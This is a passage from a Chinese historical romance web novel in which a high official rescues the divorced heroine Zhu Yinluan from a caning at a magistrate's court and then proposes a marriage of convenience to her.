这么个受了娘家厌恶的弃妇,生得貌美一些而已,不能给他什么实处,不必要为了这么个民妇出头惹事。 怪就只能怪她倒霉,有生门不走,非要闯死门了。 明芽很快被制住,姣惠双拳难敌四手,也很快被拿下了。 祝吟鸾趴到长凳上。 她咬牙等着.刑.罚落下,抬眼看着上面的邢大人,目光继续往上,看到那讽刺的公正廉明四个字,心里一阵冷笑。 就算是天子脚下,没有权势,真的就像是蝼蚁一般,任人揉捏捶打。 若是她命大能够挨过这一遭,那便好了。 若是不能…… 邢大人一拍案,下令,“打!” “小姐!” 廷杖即将落下,祝吟鸾浑身紧绷,紧紧闭上双眼,恐慌惊惧之际,她在想,自己挨这一遭,争这口气,真的值吗?若真的扛不过去,她会不会后悔? 可是她想象当中令人恐惧的疼痛却没有来临。 身侧刮来一阵风,她似乎听到什么被捏碎又丢弃砸落的声音?似乎是庭棍? 然后她还听到了旁边人的惊呼,她的眼睛拉开一条缝,看到上面的邢大人如临大敌般擦着额角的汗,惊慌失措起身小跑下来。 点头哈腰,赔着笑意谄媚问道,“世、世子爷?!” “您您您………您怎么过来了?” 第28章 第28章“我想向祝小姐求娶。”…… 今儿究竟是怎么了?到底是哪阵风把这尊阎罗给吹来了啊? 偏生撞上这档子事情! 邢大人触及男人脸上的冷意,腿肚子都忍不住发抖。 他恭维着沈景湛,弯腰弓背问他过来怎么不事先让人通传一声,好歹他亲自前去迎接啊?如此一来岂不是怠慢了吗。 沈景湛似笑非笑看着他,“邢大人忙碌,要审理京中的无数冤案,本官哪里敢叫人来打扰?” 这句话几乎说得邢大人汗流浃背,额头上方才擦拭而去的汗珠,此刻已经忍不住簌簌而下了。 “您你说这句话就言重了下官哪里担待得起呢?”沈景湛往日里就清冷,邢大人在上早朝的时候,远远见过这位效力于御前的天之骄子一面。 那可真是高不可攀的。 有司衙门在京城主要处理百姓的琐事,连大理寺的边沿都够不着,就更不要提中书省了。 年纪轻轻就有了上位者的威严,谁敢惹? 所以,这尊阎罗今日怎么过来了? 邢大人在脑子里疯狂转着,奈何不清楚沈景湛过来的用意,也不敢轻举妄动。 只见沈景湛将愣在长凳之上的女子给抱扶了起来。 对方明显是吓傻了,一句话都说不出来了。 呆愣愣由着他抱起来。 女子的身形太过于娇小玲珑,男人宽肩窄腰,两人的样貌都生得极其好,他扶起她,邢大人透过这份窥视,竟然觉得诡异的契合? 可、可怎么可能呢? 一个被休弃扫地出门的小妇人,怎么可能会跟这样位于权力之巅的大人物契合呢? 邢大人立马摒弃自己脑中的念头,他出现这样的想法,一定也是吓傻了。 祝吟鸾的确是吓傻了,就连沈景湛靠近她,当着众目睽睽将她算是半抱下来了,她竟然都没有想到要挣开他? 她没有被打,身上完好无损,怎么会站不起来呢? 祝吟鸾一时之间也没有说话,她压根就不知道自己应该说些什么了,准确来说,她没有回神,还以为是在梦里呢? 是不是棍棒打下来实在是太疼了,将她整个人给疼晕了啊?所以才会出现这样的幻觉。 至于为何会出现沈景湛,或许是因为她时常遇到他,脑海里才会浮现这么一个人物。 除此之外,祝吟鸾一时之间想不到别的了。 可当男人身上清冽的气息漂浮笼罩着她,大掌落到她腰上之时,那温热的掌心将她整个人都给烫得醒了神。 她站定之后,明芽和姣惠冲了上来,一声小姐让祝吟鸾瞬间意识到这是在什么地方。 她火速拉开于沈景湛之间的距离,退到离他很远的地方,给他请安,“世、世子爷万安” 她垂着眼睛不敢看沈景湛,整个人不断往后退去,自然也就没有看到男人看着她的眼神,有多幽暗。 以及扫了一遍确认她无恙之后,男人冷脸扫过她旁边的姣惠,后者露出失职愧疚的神色。 不仅仅是祝吟鸾没有留意到这一切,就连旁边的明芽也没有留意到。 她忙着查看祝吟鸾有没有受伤,确认祝吟鸾安然无恙之后,在祝吟鸾的提醒之下,跟着姣惠一道给沈景湛行礼问安。 “嗯。”男人淡淡一声。 转而再问她有没有事? 祝吟鸾虽然已经回过神了,可剧烈跳动的心绪还没有彻底平稳下来,她浓密的睫羽颤栗得很厉害,“没事。” 就在这个说话的空隙当中,邢大人已经叫人搬了檀木椅过来,把场子给清理干净了,尤其是祝吟鸾受刑的长凳还有庭棍都被收了起来。 适才沈景湛不仅截住了要责打祝吟鸾的庭杖,还给捏碎砸到了一边,邢大人为了消灭“罪证”,特地叫人把碎屑都给擦拭干净了就连一点点边角都没有留下。 “世子爷您请坐。”他亲自给沈景湛掸了掸没有灰尘的椅子,请他上坐。 沈景湛在朝廷当中身居要职,可众人还是喜欢称他为世子,只有上朝之时会叫他中书大人。 沈景湛没言语,他一直看着邢大人。 看得对方几乎要起毛了,讪笑得越来越尴尬和难堪,方才开口,“本官今日过来是行御史台监察令,看看有司衙门怎么审理案子。” 他的话语说得轻飘飘,甚至可以说是漫不经,可邢大人还是提心吊胆,几乎都快要哭出来了。 不等沈景湛细问,他便开始陈情,“……这小妇人敲登闻鼓告状,下官方才接了她的案子,正走审案流程呢……” 原本不想要提廷杖的事情,可沈景湛的脸色实在太冷了。 邢大人只能快速带过按本朝律法敲登闻鼓要庭杖三十的事情,以求含糊其词不叫沈景湛追究。 可沈景湛既然为此而来,怎么可能会让他浑水摸鱼,更何况触及了他的逆鳞。 他轻笑,笑得旖丽,比 不笑还要慎人。 邢大人又开始擦冷汗了,腰弯下去,都不敢回视她。 “审案流程?”沈景湛问。 邢大人战战兢兢道,“…是。”沈景湛会不会已经知道这个案子? 可他一向不过来有司衙门,这个小妇人也不可能跟他有什么瓜葛,所以他应该也不知道卫、祝两家的内情吧? 最主要的是当事人祝吟鸾没有说话。 显然是没有见过大人物大场面,被吓到了。 既然是没开口那便好,瞧着沈景湛也没有要问她的意思。 可邢大人没想到,祝吟鸾身边的姣惠在这时候开口,一句话掐中要害,“姑娘适才来递状纸,衙役一应不开不接赶奴婢们离开,甚至还说这是上面的意思,小姐迫不得已才去敲了登闻鼓。” “哦?”沈景湛看向邢大人,“这就是审案流程?不知道是哪上面的意思?” 邢大人急得脸红脖.子.粗,“您不要听这个凶悍丫鬟胡说,根本没有这件事情!下官一向勤勉,从未有过懈怠欺压百姓的事情啊!还请世子爷明察。” “邢大人真是不见棺材不落泪。”沈景湛又短促笑了一下。 他话音匍落,就有人把一个血肉模糊的东西拖了进来,好像是人。 祝吟鸾闻到了浓重的血腥味,她下意识恐惧到想吐,背过身去,等她想要再转过来一探究竟之时。 身侧的男人不知何时站到了她的面前,她只看到男人宽阔挺拔的背影。 沈景湛挡在了她的前面,她看不到骇人的东西了。 “……” 的确是人,明芽看到以后凑到了她的耳边,告知她沈景湛的随从把人丢到地上以后,将他的脸翻起来,竟然是在门口收了她们银钱又赶她们走的衙役。 他竟然在这么短的时辰内,就被人打成了这样。 祝吟鸾看不到地上血肉模糊的人,但可以从侧边瞧到邢大人。 他脸色发白,“这……”一句话都说不出来了。 地上血肉模糊的人气若游丝道,“是……是大人说不、不……不接卫家的案子,小的只是……奉命办事……” 堂堂七尺男儿居然被打得痛哭流涕,声音哽咽,“求世子爷放……放过。” 震慑的作用已经起到了。 这人很快就被拉了下去,地上也清理好了。 “邢大人还有什么话要说?”男人更像是在问你还要怎么狡辩? 邢大人也清楚,办案讲究人证物证,沈景湛没有拿出来,不意味他没有。 他办事一向是胜券在握,不一击制敌,不是因为手上打击敌人的力度不够,而是喜欢欣赏对方颤颤巍巍做困兽之斗的姿态,同时也享受围猎的快意。 邢大人主要还是被沈景湛吓到了,也不再挣扎,跪下请罪,“下官知错了!还请世子爷责罚!下次再也不这么办………” 邢大人磕头磕得很响,祝吟鸾听着都觉得额头发疼。 她忍不住蹙眉。 可没有想到原本还在审人的男子忽而转过来。 他在跟她说话,声音转变得很温柔,再听不到一丝雷厉冷冽。 不仅如此,他脸上的冷意也消失了,仿佛刚刚凶神般的沈景湛只是她的错觉。 “祝小姐还好吗?”他改了对她的称谓。 第一声没见她回答,又问了一遍。 身边的明芽和姣惠摇晃着她的臂膀,祝吟鸾方才道,“很好……” “多谢世子爷关怀。” “卫、祝两家的案子,我已经接了,祝小姐的状纸留下,你随我的人去旁边等候一会,可以吗?” 祝吟鸾听了他刚要抬腿,转念又想到,“我……不用留下问话吗?” 他笑得温和,“这桩案子已经查得差不多了,涉及御史台监察纠错,要处理朝廷的事情。” 姣惠和沈景湛心知肚明,沈景湛只是不想要她看到他凶神恶煞的样子,唯独祝吟鸾和明芽还蒙在鼓里,她的确被沈景湛给唬住了,所以没起疑问,跟着他的人离开了衙门公堂。 祝吟鸾走到转角之时,忍不住回头看了一眼。 身姿颀长的男人站在公正廉明之下,好似神台君子,周遭的光影笼罩着,显得他温润柔和。 两人的视线无声当中碰撞,他看着她,眸光专注,并不凶冷,可她就感觉自己有些莫名的害怕,匆匆一眼垂下之后,加快脚步离开了,“……” 柔弱的姑娘消失之后,男人脸上展露的温和瞬间收拢而去,转化成为森冷。 他回身之后,居高临下睥着地上跪着的官员,眉眼满是不耐和冷意。 祝吟鸾过来侧厅吃了一盏茶,方才想起来问沈景湛身边的人,“世子爷怎么会过来?” 他的随从恭敬道,“听闻有人在有司衙门敲打登闻鼓,世子爷在附近办朝廷的案子,便过来看了,没想到正碰到姑娘被庭杖。” 原来是巧合。 她说呢,沈景湛怎么会在这里? 说不上来为何,回想沈景湛方才的眼神,她竟然觉得他是为她而来的。 到底是她多虑了。 她跟沈景湛多久没见了,有司衙门在京城位置算偏的,他不在御史台不在中书省,不在沈家,怎么可能过来? 但沈景湛的到来,也叫她有种难言的心安。 否则……那三十庭杖只怕还没有打完,她便已经扛不过去了。 现在回想,勇气.泄.后,她心中隐隐后悔,就算是把铺子给拿回来了,争了这口气,落个半身不遂的结果,又真的是她想要的吗? 有手有脚便是好的了,若真的拿不回铺子,那就再谋别的营生吧,总归她还会做很多事情。 话是这么说,她也知道,卫家和祝家很有可能不会让步,铁了心要弄她的话,她一无权势,二无缚鸡之力,还能怎么办? 思及此,祝吟鸾的心里堵得慌,她不知道自己究竟是命苦还是运不顺,她一直坚信,出身不能自己选,但命途是可以挣扎的,她挣扎了这么多年,到头来,竟然还是那么糟糕。 姣惠见她神色不好,把糕点端过去,“小姐,您吃一些吧,这是配茶的果子,味道很香呢。” 祝吟鸾摇头,说她没有胃口。 姣惠放下糕点之后,与沈景湛的随从对视一眼。 他的随从上前嘱咐,“祝小姐,您不必担心这个案子,世子爷既然说了能办,就一定会解决。” 祝吟鸾抿唇笑了一下,朝他道谢,话是这么说,沈景湛在御前忙碌,事务众多,护得了她一时,护不了她一世。 她还是没有办法彻底松懈,忍不住为自己将来担心。 难不成要离开京城吗? 她从未想过离开京城,也不知道若是离开京城,她要怎么活? 这一刻,祝吟鸾陷入深深的迷茫当中。 她不知道自己应当何去何从。 她也不知道自己是怎么了。 或许真的是被没有落下的庭杖吓到了,总觉得这一次在沈景湛的掩护之下没有落到她身上,但总有一日会落到她的头上。 弱肉强食,优胜劣汰。 没有权势,举步维艰。 沈景湛在两炷香之后过来,祝吟鸾还在发愣,听到随从等人给他行礼问安的声音,她方才站起来。 沈景湛的随从出去了,姣惠也把不情愿的明芽给带出去了。 瞬间就只剩下两人在这里。 祝吟鸾有些许尴尬和紧张。 她偷看了几眼沈景湛,不知道应当说什么,想来想去,又跟他道了几声谢。 他笑着说,“从认识祝小姐到现在,也不知祝小姐跟我说过多少声谢了。” 很调笑的一句话,祝吟鸾瞬间就放松下来了。 她也随之笑了一下,接上他的话,说他帮了她很多,几乎每一次遇见,他都对她施以援手。 “上次刚跟祝小姐说不必介怀,你却一直放在心上。”他坐下,在她的身侧。 祝吟鸾忍不住端正自己的坐姿,两只嫩白的手放在并拢的膝盖上,小脸微垂,让人一眼看过去,觉得她很乖。 见状,沈景湛的眼眸当中滑过一丝不易察觉的笑意。 “铺子的事情,祝小姐不必担心,你的手上既然有 地契,那官府自然是认的,铺子里的人换掉便好了,若祝小姐需要,我可以让手下的人帮忙你物色一些可用的管事。” 他竟直接帮她解决了铺子的事情。 祝吟鸾忍不住道,“这……”可以吗? 她想说的是这句话,可临了之际,到了嘴边,忍不住变成了,“无功不受禄,我怎么好受世子爷的恩情,您真的已经帮过我很多了。” 后面这句就是实话。 他真的帮过她太多了,真往前细数,几乎都要数不过来。 “我却没有什么可以报答您的……” 这句话出来的时候她又在想,若是沈景湛真的需要的话,她又能够帮他什么呢? 她无权无势,她会的东西对于沈景湛而言毫无价值,什么刺绣女红,掌家管事,这些女子要学要会的东西,他家中自有管事。 何况这些都是内事,是将来他正妻管的东西,他的正妻定然是京城当中最好的闺秀。 祝吟鸾乱糟糟想着。 沈景湛轻笑,让她不要紧张。 “祝小姐好像很怕我。”这句话他很早之前也说过,差不离的。 是在什么时候?是在……那个药馆的时候吧? 她那时候还是卫家的少夫人,想着他是外男,便避忌了许多,他说他不是洪水猛兽,让她不用如此退离。 如今她虽然不是卫家少夫人了,但也不能误了沈景湛的名声。 思及此,祝吟鸾忽而问他,适才他来帮忙,救她的事情,若被人看去了,会不会给他带去烦恼? “祝小姐是在担心我吗?”他是过了一会,看着她问的这句话。 祝吟鸾,“……” 被沈景湛看着,她适才放松下来的紧张重新席卷而来,并且席卷得越来越厉害了。 她甚至开始慌张,若要细问,她也不知道自己在慌些什么,慌到回望沈景湛的时候,瞳仁不住的左右闪烁。 男人的眸色幽深,仿佛深到不可见底,是温和的同时也让她感觉到危险,她开始回避了,眸光微躲,下巴也渐渐垂下去。 好半响,她才说,“嗯……” 很小声的嗯。 是羞的,也是怯的。 男人低笑一声,似乎愉悦了。 磁沉的声音钻到耳朵里,祝吟鸾觉得她的身体莫名其妙酥了一下。 她在什么地方听过沈景湛这样笑吗?竟然觉得熟悉。 不是前几次遇到听他笑而觉得熟悉,而是……很早很早就听过。 可她再往前,再早,不可能遇到过沈景湛。 她垂放在膝盖上的两只手不自觉的绞在一起。 等她意识到自己过于明显的紧张,又瞬间收敛,但她的动作已经被沈景湛看到了。 两人相对之间,一时无言。 他道,“祝小姐放心,不会有烦恼,我来之前,身边的人已经去清场了,有司衙门看到的人也会守口如瓶。” 毕竟邢玮都被革职查办了,底下的人还有谁敢多话? “那……还是麻烦世子爷了。” 她实在也不知道该说什么。 若在这时候请辞,会不会缺失了礼数,可她在这里坐着又紧张不知所措,真的不知道应该做什么,说什么。 沈景湛仿佛看穿了她的意图,起身问她可还有事?若没事便送她回去,还问她现如今住哪里? 男人思绪和话茬转得太快了,祝吟鸾忙不迭站起来,她道,“我没事了。” “在雅音小筑。”她说了院子的名字。 “雅音小筑?”男人重复,“在钟南大街的芳华巷吗?” 祝吟鸾颔首,“是。” “我送你回去。” “实在不必了。”她摆手拒绝,发鬓之上的步摇也跟着晃动。 妇人发髻放下来之后,此刻神情灵动,她好似个闺门姑娘。 若是不说,谁知道她已经出阁四年了? “为何?”沈景湛微微挑眉明知故问。 祝吟鸾不敢看他,“我自己可以回去的,世子爷日理万机,还是不劳烦了。” “我明白了。” “祝小姐要避嫌。” 祝吟鸾,“……”他明明都清楚,做什么要说出来吗? 他之前似乎都不这样。 是为了叫她不要紧张,还是在逗她? 她根本无从分辨沈景湛的意图,他令人捉摸不透。 祝吟鸾也不敢多说什么,只是瞅了他一眼。 他站起来以后比她高太多了。 她要微微仰着头看他才行。 “祝小姐既然没有旁的事情,那便先回去,我让人暗中相送。” 跟上次一样。 原本想要拒绝,又怕他说什么,觉得她太不识好歹。 祝吟鸾索性点头,“多谢世子爷关怀。” 虽然她已经说过很多遍了,但还是忍不住又说一遍,若是沈景湛有需要她帮忙的地方只管告知她,她必然竭尽全力。 之前他只说不用,即便点头也不像是需要她帮忙的样子,可今日却反问她真的吗? 祝吟鸾一时诧异,沈景湛居然真的有需要她帮忙的地方? 但还没有想到是什么,便直接点头了,“嗯。” 随后又补了一句,“真的。” 沈景湛轻笑,他叹出一口气,“只怕届时祝小姐觉得我在强人所难。” 男人的语气无奈又困苦,遇到他很多次,祝吟鸾还是第一次见他这副模样,仿佛无可奈何,无从下手。 年纪轻轻便位于权力之巅的沈景湛,也会有愁云苦意之事吗? 这还不是最主要的,主要的是……听他的语气口吻。 似乎他困苦之事,她或可帮得上忙? 到底什么事情啊? 他都办不了,她还能办? 祝吟鸾好奇便也问了。 沈景湛却犹豫,看他神色似乎在考虑要不要说,该不该说。 “世子爷有话不妨直说。” “若我直言,祝小姐会不会生气?” “啊?”祝吟鸾愣了一下,“……应当不会的。” 她原先也就只有一点好奇,在他欲言又止的话茬之下,她更是好奇了。 “到底是什么事啊?” 正是因为好奇,她的紧张消散,也敢看他了。 水眸圆润,像漂亮的小猫。 沈景湛看了她一会,他坐下了,指骨敲打着桌沿。 他在思忖,好一会,祝吟鸾等到他开口。 但他还没有直接说事,而是又问她一遍,说了真的不恼怒吗? 祝吟鸾颇是无奈,想说不会。 但这么些年过得坎坷小心,她还是谨慎想了一下,纠结一二,道了句,“…不会的。” 想来沈景湛这般正人君子,也不会真的强人所难吧。 何况,她孑然一身,有何处叫他所图? 她的话落一息,男人启唇,“冒昧一问,祝小姐此番和离以后,可还有再嫁人成亲的想法?” 祝吟鸾愣住,没想到沈景湛会问她这个。 虽然疑惑,但她如实摇头,“…没有。” “为何?” 祝吟鸾眉心微蹙,回答之前问了他一句,“这与沈世子接下来要跟我说的话有关系吗?” “嗯。” 男人修长如玉的指骨一直敲打着桌沿,声音和动作都不紧不慢。 祝吟鸾想了想,也不知要如何回他的话。 她为何不会再有成亲嫁人的念头和想法? 因为她在卫家四年劳累辛苦,还没讨到一丝好,反而受尽奚落和为难,委屈憋闷的日子她实在是过够了。 她不想再被人因为出身而挑三拣四,也不想逢迎揣测枕边人的想法。 如今被休弃,娘家人不许她再回去,父亲跟她断绝父女关系,她就算是再嫁,娘家人的丢弃也令她难以接轨新的婆家。 即便她自己跨得过去,她喜欢的夫郎跨得过去,夫家那边的长辈能接受她,能跨得过去吗? 总之,她不要再受人诟病了。 “我不知如何说。”这些事情心里想得明白,可对于沈景湛怎么好说啊? 他如此足智,朝廷的事情都处理得很好,或许也会明白内宅的弯弯绕绕吧。 “祝小姐既不方便说,那便不用说了。”男人安抚她。 闻言,祝吟鸾的心里稍稍松懈。 沈景湛如此善解人意,想必他所说要“求”她帮忙之事,定然也不会真的是什么强人所难的事吧。 实在是想不出来,沈景湛还有什么事情觉得为难? 她一直在脑中飞速回想,可都想不出来,沈景湛能有什么事情要求她帮忙。 但总算是没有等多久,他提到了主旨。 “既如此,我便直接开口了?” 祝吟鸾点头,“好。”他怎么绕来绕去,还是没有说清楚啊?到底所为何事? “我想向祝小姐求娶,请求你嫁给我。” 第29章 第29章“求娶祝小姐做正妻。”…… 男人此话一出,氛围陷入长久的沉默当中,祝吟鸾甚至以为自己听错了。 她不可置信,甚至能够称得上匪夷所思问了一句,尴尬又忐忑笑问,“你你说什么?” 不仅仅是神色失态,就连她对他的称谓都因为惊吓而转变了。 沈景湛又看着她的眼睛郑重其事重复了一遍,说他想要向她求娶。 不过这一次,他又补充了一句,说,“求娶祝小姐做正妻。” 正妻?他的正妻? 祝吟鸾整个人彻底愣住了,甚至连眼睛都忘记眨动,她看着沈景湛的脸,企图从他的脸上找到一丝玩笑的神色。 可她没有找到。 对方看起来很认真,更何况沈景湛还说了两遍? 饶是如此,她还是依然认为,沈景湛在跟她玩闹,她瞥开脸,定住自己的神色,祈求,“世子爷还是不要逗我玩了。” 他颔首,脸上的肃色不减,“……今日过于仓促,求娶的诚意不够,所以让祝小姐以为我在玩笑。” 他这话是何意?还没完吗?他认真的吗? 可他怎么能够向她求娶呢?怎么会想到向她求娶呢? 祝吟鸾已经转回去的脸又忍不住转过来了。 因为这件事情她都不怎么怕他了,甚至敢抬眼直视他。 这约莫是她正视他,看他最多的一天了。 “你……”转过来之后,祝吟鸾也不知说些什么。 “你为何要向我求娶?”倘若不是玩笑,又是因为什么? 她实在是想不到沈景湛要娶她的理由? 倘若她没有成亲四年又转而被夫家休弃,便是以未出阁的出身家世来讲,都压根不足以与他相配,便是做小都只怕要被挑剔,根本挤不进去沈家的,更何况是他的正妻呢? 抛却了出身和家世,还有什么啊? 难不成是因为喜爱? 提到喜爱这个念头,祝吟鸾自己都嗤笑不已,荒谬至极。 她和沈景湛不过就是几面之缘,他怎么可能会喜爱她,喜爱到要娶她做正妻呢? 实在是太匪夷所思了。 别说她不信,即便是现在沈景湛当着她的面跟她说了,讲出去都不会有人相信的。 “因为祝小姐合适。”他道。 “合适什么?”祝吟鸾道不合适,“你我家世相差太大,而且我……我嫁人四年又被休弃,早就不是完璧之身了。” 这件事情说出来不好,尤其是当着外男的面。 可她实在不知道应当说什么,沈景湛三两句话打乱了她的阵脚,她想要迫切的回到最初,就算是“慌不择言”吧。 不管是因为什么,只要他别再跟她说什么求娶的话了。 她还想快些回去呢。 “虽然今日过于仓促,但开口求娶这话,我经过字斟句酌方才说出来。” 祝吟鸾,“……” 须臾之后,她问道,“你还没说我怎么合适与你做正妻了?” 她倒要听听。 “我不想成亲,但家中人一直不断催促,先前已经拖了几年,现如今却无法再拖下去了。” 沈景湛的婚事在京城当中一直被人议论,他早已年过弱冠,却不娶妻,也没听见京城人说他与哪家贵女走得比较近。 只有一个……什么太尉之女? 先前卫明烟和她说过,叫什么……?她想不起来了,只记得是太尉的人女儿,是他老师的掌上明珠,两人常有交集。 他不选太尉的女儿,为何要来找她求娶。 祝吟鸾此刻的脑子都是晕乎乎的。 “你为何一直不娶亲呐?”她问了。 不承想,男人转过来看着她,“……” 祝吟鸾没等到她的回答,只是兀自在心中猜测,可没想到她无意之间竟然问了出来,“莫不是有了心悦之人吗?” 他还是看着她,眸色幽深,但不言语。 所以……是真的有啊? 难怪他一直不娶亲。 可这个人是谁呢?沈景湛既然喜欢对方,为何不向她求娶,以他的家世品貌,也怕被人拒绝吗? 对方究竟是谁? 祝吟鸾这会子的确是好奇了,但也清楚非礼勿问四个字。 沈景湛既然不想说,她不应该问,或许是有什么难言之隐吧? 可他为何这样看着她呢? 她避开男人的视线,“……” 他的指骨又恢复了不紧不慢敲打着桌面的状态。 相对无言好一会,还是沈景湛先开的口,他跟她说,“祝小姐此刻与我的情境一般无二,都处于困顿之中,不如达成契意,合处共赢。” “你嫁与我,替我抵挡家中人的催促,我娶了你,帮你抵挡卫、祝两家的胁迫。” “此举,或许有些乘人之危,但……”但什么,他没说了。 祝吟鸾心思一动,隐约之间明白沈景湛为何要向她求亲了,他的确不是玩笑。 平心而论,从他所说的意义上来说,这是一桩“互利互惠”的婚事。 旁边的姑娘许久没说话,但她的神色呈现出动摇之态。 他便知道她在思忖。 卫家祝家不好相与,这些年她已经深有体会。 重要的是,他更了解她。 以退为进,才能够将她逼出来。 果然,她问了,“你为何选了我?” 她分明都清楚,可还是要一个确信,沈景湛似笑非笑看着她,给了她想要的答案,“因为祝小姐不中意我。” 不中意,便意味着她不会动幺蛾子,不会打他的主意。 这的确符合祝吟鸾心中所想。 她适才在思忖,沈景湛想要什么样的女子没有? 找一个家世清白的不好吗?为何非要问她呢? 或许也因为她成亲之后又被休弃,没有再成亲的念头,心如死灰。 也正是因为如此,才会跟他相敬如宾。 归根结底还是沈景湛的品貌家世太叫人眼馋了,高门贵女都垂望惦记他,别说小门小户,别提沈景湛的好处,就说能入沈家,哪怕做妾,可都是鱼跃龙门了。 祝吟鸾却觉得这样不好,男女之间的姻缘际会,不应该心意相通吗?就算是没有心意相通,好歹要过了家中长辈的眼,她和沈景湛…… 就算是搭伙合作,也不堪配,他的家世实在太高了。 她仰头看,都会被他身上的耀眼灼伤。 可他提出的条件很诱人,若能够攀上沈景湛,卫家、祝家的人必定不敢再欺负她,甚至还会恭维她,甚至惧怕她。 “祝小姐有何顾虑,不妨说出来?”他见她的神色分明动摇了,却又陷入纠结,于是开口善诱。 “你……你的家世太高了,我只怕……” 她虽然磕磕绊绊,但也算是把话给讲清楚了。 “祝小姐担心沈家的亲长为难你?” “是。”话已至此,祝吟鸾咬唇,直接道,“我是庶女出身,在卫家之时都常被诟病,若是进了沈家……” 她想都不敢想。 “还有……世子爷对我有恩,你人品清白,若跟我成亲,旁人只怕也贬损于你,我不想将你陷入此境地。” “人活在世,总要被人诟病,这些闲话不过都是飘渺云烟,我并不看重,也不会为之 烦恼,且……我在家中尚有威严,祝小姐不必担心,若是嫁于我,无法过亲长那一关。” 换言之,沈家的长辈根本没法子左右他的亲事。 也对啊,若是沈景湛要听从父母之命,也不会这么多年不娶妻了。 说到这里他笑了一下,声音温柔又无奈,“男子和离之后尚且可以再娶,女子为何就不能再嫁?” “男子能挑贤妻,女子如何就不能择良婿了?” “世道多困女子于狭隘处境,祝小姐可不要自甘围城于圈地之间,再者……如何能以婚嫁一事来论女子清白?” “若这样说,男子不也一样,非清白之人了?” 在他的温润如风的言论之下,祝吟鸾感觉到自身的狭隘,也听出来他在宽慰她。 听着男人的话,看着他的脸,祝吟鸾忽而想起卫如琢跟她说起的梵昌新.政,里面有一条谏议,“贬臣后嗣”再准录用一则,便是沈景湛的主张。 卫如琢说这位天之骄子在朝堂之上陈述,连坐之罪理应废除,前人之错由前人来担,后嗣子孙无辜,不该受其罪诛连。 当时有不少的老臣跳出来反对,但都被他给弹压回去了,且怼得众人哑口无言,皇帝便批准了这条谏言。 也是因为这条谏言,卫如琢从典史一职当中晋升,进入翰林院。 正是那会,沈景湛的名字在她的心里留下了影子。 之前倒也听过,但对她而言,是个遥不可及的人物,所以她听听也就过了。 梵昌新.政之后,她才开始记住他,这种记住,算是一种感激。 因为他在朝廷之上的谏议,卫家的情境开始发生转变。 “我知今日忽而开口,实在唐突,祝小姐若觉得可以,不妨考虑一下?” “若还有顾虑,尽可告知于我。”他对她说道,笑得十分清润。 沈景湛本就生得俊美,如此看着他的脸,竟然让她莫名羞怯。 祝吟鸾眸光闪烁。 “……” 她想问,沈景湛为何要这般帮她? 是的,这桩婚事若成,还是她占了便宜。 他还说什么他趁人之危,分明是她趁人之危。 他就怕成亲之后,朝夕相处久了,她……喜欢上他,又“谋算”他吗?毕竟沈景湛出众优越,世上少有女子能够抗拒。 可她不敢说这个,思及自己这个念头,她也有些尴尬,连忙正色遮掩,转而问另外一件事情,“且不说那些,世子爷如何觉得我能够胜任你的正妻之位?” 庞氏跟她在一处四年了,还经常说她不懂应酬,不会说话,人情世故有所欠缺,不是训这个,就是讲那些。 沈景湛不了解她,如何觉得她能够管理他的后宅? “卫家晋升,除却卫大人自身优越,这其中绝计少不了祝小姐贤内助的功劳。” 他笑着说这件事情,看起来完全不计较她嫁过人的事情,好似真的只是因为利益跟她商榷。 “卫家虽不算京城高门,但这几年,卫家显眼,高门世家多有关注提及,我也常听京中人提及祝小姐,说你贤良会来事,温婉优雅。” 他竟然从旁人的耳朵里听过她的事情,还夸她? 骤然被那么出色的男人面对面夸耀,祝吟鸾心下有几分不自在。 “世子……世子爷过谦了。” “并非我过谦,而是祝小姐总妄自菲薄,你本来就很好。” 除了明芽还有姣惠,还从未有人说过她好,肯定她…… 祝吟鸾心头微动,鼻尖酸酸的,她耸了耸。 沈景湛又接着道,“还有一事祝小姐放心,你若答应我的求娶,那我此生便只有你一人,绝不纳妾。” 她看过去。 男人的眸光专注真挚,不像是假话。 可……当初卫如琢也是这样说的。 他仿佛有读心术,又准确知道她在想什么了,径直告诉她,“若我纳妾,便让我罢官削爵,此生不入朝堂,此事我会白纸黑字写下,届时呈于殿前请圣上过目,若有违背,陛下会给你做主。” 祝吟鸾被他所说的罢官削爵,呈于御前给吓到了。 他就算是认真,也不至于到如此地步吧? 竟然要罢官削爵,还要呈现御前? 这…… 祝吟鸾完全相信他不是玩笑,而是真的了。 可他何至于此? “祝小姐以为如何?”他问她。 祝吟鸾缓了好一会,“我……我觉得有些……” 有些什么,她说不下去了。 “没什么……” 好一会,祝吟鸾回过神总算是想起她要说什么了。 “倘若你我成亲了,应付过家中亲长,可日后若被……催……催要孩子怎么办?” 这也是她在卫家最受排挤的原因。 “你放心,届时收养一个养在膝下就好了。” “这样真的可以吗?”她问。 其实在卫家她也动过这样的念头,但不敢说。 庞氏看重血脉,她若是说了,定然要被她凶巴巴给骂回来。 沈景湛居然说不用生,找个人收养? 真要是这样,那真是好过了。 “祝小姐还有什么顾虑吗?”他问。 他太体贴周到,祝吟鸾一时之间完全想不到了,便只能摇头。 “那祝小姐仔细想想,我让人暗中送你回去。” 祝吟鸾看了他一眼,随之起身出去。 沈景湛送她到外面。 看着她的背影消失在有司衙门,神色恢复清冷。 上了马车之后,祝吟鸾依然有些心不在焉。 “小姐,您是怎么了?”明芽晃着她的手腕问。 “没、没什么。”祝吟鸾牵强笑了一下。 “对了小姐,沈世子的随从说,让您不必担心,有司衙门的邢大人已经替换了。”姣惠跟她禀话道。 明芽也随之点头,“是,您不必再担心了。” 这件事情暂时放下,祝吟鸾还在想沈景湛跟她说的事。 要跟姣惠与明芽说么? 明芽这个小丫头咋咋唬唬的,姣惠倒也还好。 思来想去,祝吟鸾夜里的确跟守夜的姣惠说了。 对方露出惊讶的神色,但不震叹。 反而问她是怎么想的? 祝吟鸾颇是苦恼,“我……我不知道。” 她想要自己过活,可她担心的是祝家卫家不会放过她。 这一次卫家的人以权势压她,若不是沈景湛突然出现,今日她只怕不能够安然无恙走出来,更别提拿到铺子了。 可她今儿若是妥协,没了铺子,便是没有了生计。 她倒是不怕苦,出去找找营生做,可又怕卫家的人不放过,继续搅事怎么办? 离开卫家那一日,卫如琢拂袖而去,为了出这口气,他指不定会做出什么事情来。 她真的要嫁给沈景湛寻求庇护吗? 姣惠在这时候开口,“其实小姐若不嫁,世子爷也必定会庇护您,只要您有事去找他说就好。 祝吟鸾随之看去。 姣惠解释她并非误会两人之间有私情,而是因为沈景湛为人正直,是个好官。 这次的事情他都帮忙了,接过状纸、不会不知道她的处境艰难,何况沈景湛不也说了明白她的困顿吗? 祝吟鸾沉默下来。 